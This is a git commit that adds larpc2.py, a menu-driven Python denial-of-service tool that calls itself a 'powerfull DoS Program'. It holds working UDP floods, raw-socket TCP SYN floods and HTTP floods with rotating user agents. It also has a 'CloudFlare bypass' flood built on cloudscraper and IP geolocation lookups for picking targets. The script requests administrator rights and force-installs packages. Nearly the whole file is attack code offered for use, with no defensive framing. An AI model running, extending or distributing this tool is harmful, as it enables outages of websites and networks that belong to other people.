Add larpc2.py

This commit is contained in:
2026-09-05 02:53:56 +02:00
parent a3275ffe78
commit 3b905e4deb
+502
View File
@@ -0,0 +1,502 @@
import os
import sys
import time
from time import sleep
import socket
import threading
import datetime
import struct
import random
import requests
import ipaddress
import cloudscraper
def is_admin():
try:
import ctypes
return ctypes.windll.shell32.IsUserAnAdmin()
except:
return False
def run_as_admin():
if is_admin():
return True
try:
import ctypes
import sys
script = os.path.abspath(sys.argv[0])
params = ' '.join([script] + sys.argv[1:])
ctypes.windll.shell32.ShellExecuteW(
None, "runas", sys.executable, params, None, 1
)
return False
except:
return False
if not run_as_admin():
sys.exit()
os.system("title LARP C2")
larp = "\033[38;5;118m"
white = "\033[97m"
red = "\033[38;5;196m"
clear = "\033[0m"
useragent = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36",
"Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Mobile/15E148 Safari/604.1",
"Mozilla/5.0 (iPad; CPU OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Mobile/15E148 Safari/604.1",
"Mozilla/5.0 (Linux; Android 11; SM-G991B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.120 Mobile Safari/537.36",
"Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.120 Mobile Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/91.0.864.59",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Edg/91.0.864.59",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0",
"Mozilla/5.0 (X11; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0",
"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
]
payloads = [
b"\x08\xb2\x00\x21",
b"\x08\xb2\x00",
b"\xD8\x39\x84\x00",
]
def banner():
os.system('cls' if os.name == 'nt' else 'clear')
print(f"""
{larp}
╦ ╔═╗╦═╗╔═╗
║ ╠═╣╠╦╝╠═╝
╩═╝╩ ╩╩╚═╩
╚═╦═══════════════════════════════════════════╦═╝
╚╦════╩═══════════════════════════════════════════╩════╦╝
║ LarpC2 is a powerfull DoS Program. ║
║ Free, Opensource, Safe, ║
╔╩═════════════════════════════════════════════════════╩╗
╚╦═════════════════════════════════════════════════════╦╝
║ This is made by the one and only Venex dont skid. ║
║ Type help to see all available commands. ║
╔╩═════════════════════════════════════════════════════╩╗
""")
def exit_script():
sleep(1)
sys.exit()
def l4_banner():
os.system('cls' if os.name == 'nt' else 'clear')
print(f"""
{larp}
╦ ╔═╗╦═╗╔═╗
║ ╠═╣╠╦╝╠═╝
╩═╝╩ ╩╩╚═╩ {clear }
{larp}╔═══════════════════════════╗{clear}
{larp}{clear} {larp}-{clear} tcp {larp}|{clear} TCP Flood{larp} {larp}{clear}
{larp}{clear} {larp}-{clear} udp {larp}|{clear} UDP Flood{larp} {larp}{clear}
{larp}╚═══════════════════════════╝{clear}
""")
def layer4():
while True:
l4_banner()
select = input(f"""
╔═══[{larp}root{clear}@{larp}LARP{clear}]
╚══{larp}>{clear} """)
if select.startswith("udp"):
parts = select.split()
if len(parts) != 5:
print(f"usage{larp}:{clear} {larp}udp{clear} <{larp}ip{clear}> <{larp}port{clear}> <{larp}threads{clear}> <{larp}secs{clear}>")
input()
continue
_, ip, port, threads, secs = parts
port = int(port)
threads = int(threads)
secs = int(secs)
def udp_attack(host, port, secs):
end_time = time.time() + secs
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
while time.time() < end_time:
for data in payloads:
try:
s.sendto(data, (host, port))
except:
pass
s.close()
def get_country(ip):
try:
r = requests.get(f"http://ip-api.com/json/{ip}")
return r.json().get("country", "Unknown")
except:
return "Unknown"
country = get_country(ip)
def th(ip, port, threads, secs):
for _ in range(threads):
t = threading.Thread(target=udp_attack, args=(ip, port, secs))
t.start()
th(ip, port, threads, secs)
os.system('cls' if os.name == 'nt' else 'clear')
print(f"""
{larp}
╔═╗╔╦╗╔╦╗╔═╗╔═╗╦╔═ ╔═╗╔═╗╔╗╔╔╦╗
╠═╣ ║ ║ ╠═╣║ ╠╩╗ ╚═╗║╣ ║║║ ║
╩ ╩ ╩ ╩ ╩ ╩╚═╝╩ ╩ ╚═╝╚═╝╝╚╝ ╩
{clear}
{larp}╔══════════════════════════════════╗{clear}
{larp}{clear} METHODS{larp}:{clear} {larp}[{clear}UDP{larp}]{clear} {larp}{clear}
{larp}{clear} HOST{larp}:{clear} {larp}[{clear}{ip}{larp}]{clear} {larp}{clear}
{larp}{clear} COUNTRY{larp}:{clear} {larp}[{clear}{country}{larp}]{clear} {larp}{clear}
{larp}{clear} PORT{larp}:{clear} {larp}[{clear}{port}{larp}]{clear} {larp}{clear}
{larp}{clear} THREADS{larp}:{clear} {larp}[{clear}{threads}{larp}]{clear} {larp}{clear}
{larp}{clear} TIME{larp}:{clear} {larp}[{clear}{secs}{larp}]{clear} {larp}{clear}
{larp}╚══════════════════════════════════╝{clear}
""")
time.sleep(secs)
elif select.startswith("tcp"):
parts = select.split()
if len(parts) != 5:
print(f"usage{larp}:{clear} {larp}tcp{clear} <{larp}ip{clear}> <{larp}port{clear}> <{larp}threads{clear}> <{larp}secs{clear}>")
input()
continue
_, ip, port, threads, secs = parts
port = int(port)
threads = int(threads)
secs = int(secs)
def tcp_attack(host, port, secs):
end_time = time.time() + secs
flags = 0b00000010
while time.time() < end_time:
try:
src_port = random.randint(1024, 65535)
pkt = struct.pack('!HHIIBBHHH', src_port, port, 0, 0, 80, flags, 8192, 0, 0)
socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP).sendto(pkt, (host, 0))
except:
pass
def get_country(ip):
try:
r = requests.get(f"http://ip-api.com/json/{ip}")
return r.json().get("country", "Unknown")
except:
return "Unknown"
country = get_country(ip)
def th(ip, port, threads, secs):
for _ in range(threads):
t = threading.Thread(target=tcp_attack, args=(ip, port, secs))
t.start()
th(ip, port, threads, secs)
os.system('cls' if os.name == 'nt' else 'clear')
print(f"""
{larp}
╔═╗╔╦╗╔╦╗╔═╗╔═╗╦╔═ ╔═╗╔═╗╔╗╔╔╦╗
╠═╣ ║ ║ ╠═╣║ ╠╩╗ ╚═╗║╣ ║║║ ║
╩ ╩ ╩ ╩ ╩ ╩╚═╝╩ ╩ ╚═╝╚═╝╝╚╝ ╩
{clear}
{larp}╔══════════════════════════════════╗{clear}
{larp}{clear} METHODS{larp}:{clear} {larp}[{clear}TCP{larp}]{clear} {larp}{clear}
{larp}{clear} HOST{larp}:{clear} {larp}[{clear}{ip}{larp}]{clear} {larp}{clear}
{larp}{clear} COUNTRY{larp}:{clear} {larp}[{clear}{country}{larp}]{clear} {larp}{clear}
{larp}{clear} PORT{larp}:{clear} {larp}[{clear}{port}{larp}]{clear} {larp}{clear}
{larp}{clear} THREADS{larp}:{clear} {larp}[{clear}{threads}{larp}]{clear} {larp}{clear}
{larp}{clear} TIME{larp}:{clear} {larp}[{clear}{secs}{larp}]{clear} {larp}{clear}
{larp}╚══════════════════════════════════╝{clear}
""")
time.sleep(secs)
def l7_banner():
os.system('cls' if os.name == 'nt' else 'clear')
print(f"""
{larp}
╦ ╔═╗╦═╗╔═╗
║ ╠═╣╠╦╝╠═╝
╩═╝╩ ╩╩╚═╩ {clear}
{larp}╔═══════════════════════════════════╗{clear}
{larp}{clear} {larp}-{clear} http {larp}|{clear} HTTP Flood{larp} {larp}{clear}
{larp}{clear} {larp}-{clear} cfb {larp}|{clear} CloudFlare bypass{larp} {larp}{clear}
{larp}╚═══════════════════════════════════╝{clear}
""")
def layer7():
while True:
l7_banner()
select = input(f"""
╔═══[{larp}root{clear}@{larp}LARP{clear}]
╚══{larp}>{clear} """)
if select.startswith("http"):
parts = select.split()
if len(parts) != 4:
print(f"usage{larp}:{clear} {larp}http{clear} <{larp}url{clear}> <{larp}threads{clear}> <{larp}secs{clear}>")
input()
continue
_, url, threads, secs = parts
threads = int(threads)
secs = int(secs)
def http_attack(url, secs):
end_time = time.time() + secs
try:
while time.time() < end_time:
ua = random.choice(useragent)
headers = {"User-Agent": ua}
requests.get(url, headers=headers, timeout=5)
except:
pass
def th(url, thread, secs):
for _ in range(thread):
t = threading.Thread(target=http_attack, args=(url, secs))
t.start()
th(url, threads, secs)
os.system('cls' if os.name == 'nt' else 'clear')
print(f"""
{larp}
╔═╗╔╦╗╔╦╗╔═╗╔═╗╦╔═ ╔═╗╔═╗╔╗╔╔╦╗
╠═╣ ║ ║ ╠═╣║ ╠╩╗ ╚═╗║╣ ║║║ ║
╩ ╩ ╩ ╩ ╩ ╩╚═╝╩ ╩ ╚═╝╚═╝╝╚╝ ╩
{clear}
{larp}╔══════════════════════════════════╗{clear}
{larp}{clear} METHODS{larp}:{clear} {larp}[{clear}HTTP{larp}]{clear} {larp}{clear}
{larp}{clear} URL{larp}:{clear} {larp}[{clear}{url}{larp}]{clear} {larp}{clear}
{larp}{clear} THREADS{larp}:{clear} {larp}[{clear}{threads}{larp}]{clear} {larp}{clear}
{larp}{clear} TIME{larp}:{clear} {larp}[{clear}{secs}{larp}]{clear} {larp}{clear}
{larp}╚══════════════════════════════════╝{clear}
""")
time.sleep(secs)
elif select.startswith("cfb"):
parts = select.split()
if len(parts) != 4:
print(f"usage{larp}:{clear} {larp}cfb{clear} <{larp}url{clear}> <{larp}threads{clear}> <{larp}secs{clear}>")
input()
continue
_, url, threads, secs = parts
threads = int(threads)
secs = int(secs)
def cloudflare(url, end_time):
end_time = time.time() + secs
scraper = cloudscraper.create_scraper()
try:
while time.time() < end_time:
ua = random.choice(useragent)
headers = {"User-Agent": ua}
scraper.get(url, headers=headers, timeout=5)
scraper.head(url, headers=headers, timeout=5)
except:
pass
def th(url, threads, secs):
for _ in range(threads):
t = threading.Thread(target=cloudflare, args=(url, secs))
t.start()
th(url, threads, secs)
os.system('cls' if os.name == 'nt' else 'clear')
print(f"""
{larp}
╔═╗╔╦╗╔╦╗╔═╗╔═╗╦╔═ ╔═╗╔═╗╔╗╔╔╦╗
╠═╣ ║ ║ ╠═╣║ ╠╩╗ ╚═╗║╣ ║║║ ║
╩ ╩ ╩ ╩ ╩ ╩╚═╝╩ ╩ ╚═╝╚═╝╝╚╝ ╩
{clear}
{larp}╔══════════════════════════════════╗{clear}
{larp}{clear} METHODS{larp}:{clear} {larp}[{clear}CloudFlare Bypass{larp}]{clear} {larp}{clear}
{larp}{clear} URL{larp}:{clear} {larp}[{clear}{url}{larp}]{clear} {larp}{clear}
{larp}{clear} THREADS{larp}:{clear} {larp}[{clear}{threads}{larp}]{clear} {larp}{clear}
{larp}{clear} TIME{larp}:{clear} {larp}[{clear}{secs}{larp}]{clear} {larp}{clear}
{larp}╚══════════════════════════════════╝{clear}
""")
time.sleep(secs)
def tools_banner():
os.system('cls' if os.name == 'nt' else 'clear')
print(f"""
{larp}
╔╦╗╔═╗╔═╗╦ ╔═╗
║ ║ ║║ ║║ ╚═╗
╩ ╚═╝╚═╝╩═╝╚═╝ {clear}
{larp}╔═══════════════════════════════════╗{clear}
{larp}{clear} {larp}-{clear} geoip {larp}|{clear} geolocation ip {larp}{clear}
{larp}{clear} {larp}-{clear} dns {larp}|{clear} DNS lockup {larp}{clear}
{larp}{clear} {larp}-{clear} subnet {larp}|{clear} Reverse DNS lockup {larp}{clear}
{larp}╚═══════════════════════════════════╝{clear}
""")
def tools():
while True:
tools_banner()
select = input(f"""
╔═══[{larp}root{clear}@{larp}LARP{clear}]
╚══{larp}>{clear} """)
if select.startswith("geoip"):
parts = select.split()
if len(parts) != 2:
print(f"usage{larp}:{clear} {larp}geoip{clear} <{larp}ip{clear}>")
input()
continue
ip = parts[1]
def geoip():
r = requests.get(f"http://ip-api.com/json/{ip}")
os.system('cls' if os.name == 'nt' else 'clear')
print(f"""
{larp}╔══════════════════════════════════╗{clear}
{larp}{clear} IP{larp}:{clear} {larp}[{clear}{r.json().get("query")}{larp}]{clear} {larp}{clear}
{larp}{clear} Country{larp}:{clear} {larp}[{clear}{r.json().get("country")}{larp}]{clear} {larp}{clear}
{larp}{clear} Region{larp}:{clear} {larp}[{clear}{r.json().get("regionName")}{larp}]{clear} {larp}{clear}
{larp}{clear} City{larp}:{clear} {larp}[{clear}{r.json().get("city")}{larp}]{clear} {larp}{clear}
{larp}{clear} ISP{larp}:{clear} {larp}[{clear}{r.json().get("isp")}{larp}]{clear} {larp}{clear}
{larp}{clear} Latitude{larp}:{clear} {larp}[{clear}{r.json().get("lat")}{larp}]{clear} {larp}{clear}
{larp}{clear} Longitude{larp}:{clear} {larp}[{clear}{r.json().get("lon")}{larp}]{clear} {larp}{clear}
{larp}{clear} ZIP{larp}:{clear} {larp}[{clear}{r.json().get("zip")}{larp}]{clear} {larp}{clear}
{larp}╚══════════════════════════════════╝{clear}
""")
input()
geoip()
elif select.startswith("dns"):
parts = select.split()
if len(parts) != 2:
print(f"usage{larp}:{clear} {larp}dns{clear} <{larp}domain{clear}>")
input()
continue
host = parts[1]
def dnslockup():
try:
dns = socket.gethostbyname(host)
os.system('cls' if os.name == 'nt' else 'clear')
print(f"""
{larp}╔══════════════════════════════════╗{clear}
{larp}{clear} HOST{larp}:{clear} {larp}[{clear}{host}{larp}]{clear} {larp}{clear}
{larp}{clear} DNS{larp}:{clear} {larp}[{clear}{dns}{larp}]{clear} {larp}{clear}
{larp}╚══════════════════════════════════╝{clear}
""")
except socket.gaierror:
pass
input()
dnslockup()
elif select.startswith("subnet"):
parts = select.split()
if len(parts) != 2:
print(f"usage{larp}:{clear} {larp}subnet{clear} <{larp}ip{clear}>")
input()
continue
ip = parts[1]
def subnet():
try:
n = ipaddress.ip_network(ip + "/24", strict=False)
os.system('cls' if os.name == 'nt' else 'clear')
print(f"""
{larp}╔════════════════════════════════════════════════╗{clear}
{larp}{clear} IP {larp}:{clear} [{ip}] {larp}{clear}
{larp}{clear} SUBNET {larp}:{clear} [{n}] {larp}{clear}
{larp}{clear} NET ADDR {larp}:{clear} [{n.network_address}] {larp}{clear}
{larp}{clear} BROADCAST{larp}:{clear} [{n.broadcast_address}] {larp}{clear}
{larp}{clear} NETMASK {larp}:{clear} [{n.netmask}] {larp}{clear}
{larp}{clear} HOSTS {larp}:{clear} [{n.num_addresses}] addresses {larp}{clear}
{larp}╚════════════════════════════════════════════════╝{clear}
""")
except Exception:
pass
input()
subnet()
def install():
os.system("pip install requests --break-system-packages")
os.system("pip install scapy --break-system-packages")
os.system("pip install cloudscraper --break-system-packages")
def main():
install()
while True:
banner()
select = input(f"""
╔═══[{larp}root{clear}@{larp}LARP{clear}]
╚══{larp}>{clear} """)
if select == "help":
os.system('cls' if os.name == 'nt' else 'clear')
print(f"""
{larp}
╦ ╦╔═╗╦ ╔═╗
╠═╣║╣ ║ ╠═╝
╩ ╩╚═╝╩═╝╩ {clear}
{larp}╔═════════════════════════════════╗{clear}
{larp}{clear} {larp}-{clear} l4 {larp}|{clear} Ip Attack Menu {larp}{clear}
{larp}{clear} {larp}-{clear} l7 {larp}|{clear} Website Attack Menu {larp}{clear}
{larp}{clear} {larp}-{clear} tools {larp}|{clear} Tools Menu {larp}{clear}
{larp}{clear} {larp}-{clear} exit {larp}|{clear} Exit LARP {larp}{clear}
{larp}╚═════════════════════════════════╝{clear}
""")
input()
elif select == "l4":
layer4()
elif select == "l7":
layer7()
elif select == "tools":
tools()
elif select == "exit":
exit_script()
else:
print(f"{red}Invalid option{clear}")
input()
if __name__ == "__main__":
main()